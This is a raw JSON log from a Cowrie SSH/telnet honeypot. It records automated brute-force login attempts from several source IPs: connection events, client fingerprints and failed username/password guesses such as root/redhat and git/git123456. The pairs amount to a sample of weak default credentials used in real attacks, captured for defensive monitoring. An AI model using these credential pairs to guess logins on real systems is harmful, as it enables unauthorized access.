{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:17.002088Z","src_ip":"101.32.240.31","session":"2567d1935a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orca","message":"login attempt [root/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:17.264799Z","src_ip":"82.152.132.24","session":"58f5515b0254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44700,"dst_ip":"159.203.135.109","dst_port":22,"session":"f30970845d05","protocol":"ssh","message":"New connection: 176.65.132.129:44700 (159.203.135.109:22) [session: f30970845d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:17.897365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:17.902640Z","src_ip":"176.65.132.129","session":"f30970845d05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:17.985325Z","src_ip":"176.65.132.129","session":"f30970845d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:18.232497Z","src_ip":"176.65.132.129","session":"f30970845d05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:18.394363Z","src_ip":"82.152.132.24","session":"58f5515b0254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00177931785583,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:18.729337Z","src_ip":"152.42.224.71","session":"54e5f6f26c73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:19.317280Z","src_ip":"176.65.132.129","session":"f30970845d05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44702,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a9e7e6d5acf","protocol":"ssh","message":"New connection: 176.65.132.129:44702 (159.203.135.109:22) [session: 4a9e7e6d5acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:21.360921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:21.365737Z","src_ip":"176.65.132.129","session":"4a9e7e6d5acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:21.447882Z","src_ip":"176.65.132.129","session":"4a9e7e6d5acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:21.696376Z","src_ip":"176.65.132.129","session":"4a9e7e6d5acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:22.889941Z","src_ip":"176.65.132.129","session":"4a9e7e6d5acf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":33010,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6d4d6dde7da","protocol":"ssh","message":"New connection: 62.54.176.203:33010 (159.203.135.109:22) [session: b6d4d6dde7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:23.201061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:23.206807Z","src_ip":"62.54.176.203","session":"b6d4d6dde7da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:23.317358Z","src_ip":"62.54.176.203","session":"b6d4d6dde7da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qg123456","message":"login attempt [root/Qg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:24.041324Z","src_ip":"62.54.176.203","session":"b6d4d6dde7da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44716,"dst_ip":"159.203.135.109","dst_port":22,"session":"52585d2a8835","protocol":"ssh","message":"New connection: 176.65.132.129:44716 (159.203.135.109:22) [session: 52585d2a8835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:24.675815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:24.755238Z","src_ip":"176.65.132.129","session":"52585d2a8835","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:24.851499Z","src_ip":"176.65.132.129","session":"52585d2a8835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:25.104761Z","src_ip":"176.65.132.129","session":"52585d2a8835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:25.170103Z","src_ip":"62.54.176.203","session":"b6d4d6dde7da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:26.204053Z","src_ip":"176.65.132.129","session":"52585d2a8835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45790,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f64f215af6d","protocol":"ssh","message":"New connection: 176.65.132.129:45790 (159.203.135.109:22) [session: 9f64f215af6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:28.024748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:28.028796Z","src_ip":"176.65.132.129","session":"9f64f215af6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:28.225075Z","src_ip":"176.65.132.129","session":"9f64f215af6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:28.500324Z","src_ip":"176.65.132.129","session":"9f64f215af6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:29.585396Z","src_ip":"176.65.132.129","session":"9f64f215af6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53414,"dst_ip":"10.17.0.5","dst_port":23,"session":"f793e86ff35d","protocol":"telnet","message":"New connection: 152.42.224.71:53414 (10.17.0.5:23) [session: f793e86ff35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:31.093965Z"}
{"eventid":"cowrie.session.closed","duration":48.15074563026428,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:31.146431Z","src_ip":"152.42.224.71","session":"d913b1dbac96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45808,"dst_ip":"159.203.135.109","dst_port":22,"session":"69fd695eead9","protocol":"ssh","message":"New connection: 176.65.132.129:45808 (159.203.135.109:22) [session: 69fd695eead9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:31.436633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:31.440987Z","src_ip":"176.65.132.129","session":"69fd695eead9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:31.522461Z","src_ip":"176.65.132.129","session":"69fd695eead9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:31.771075Z","src_ip":"176.65.132.129","session":"69fd695eead9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:32.933561Z","src_ip":"176.65.132.129","session":"69fd695eead9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45824,"dst_ip":"159.203.135.109","dst_port":22,"session":"71a4bcf99dcd","protocol":"ssh","message":"New connection: 176.65.132.129:45824 (159.203.135.109:22) [session: 71a4bcf99dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:34.736192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:34.741246Z","src_ip":"176.65.132.129","session":"71a4bcf99dcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:34.823742Z","src_ip":"176.65.132.129","session":"71a4bcf99dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.80566668510437,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:34.963817Z","src_ip":"152.42.224.71","session":"c7b29bee0741","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:35.072976Z","src_ip":"176.65.132.129","session":"71a4bcf99dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:36.160631Z","src_ip":"176.65.132.129","session":"71a4bcf99dcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49876,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d69cdf02ac6","protocol":"ssh","message":"New connection: 176.65.132.129:49876 (159.203.135.109:22) [session: 6d69cdf02ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:38.170806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:38.175099Z","src_ip":"176.65.132.129","session":"6d69cdf02ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:38.257174Z","src_ip":"176.65.132.129","session":"6d69cdf02ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:38.504622Z","src_ip":"176.65.132.129","session":"6d69cdf02ac6","protocol":"ssh"}
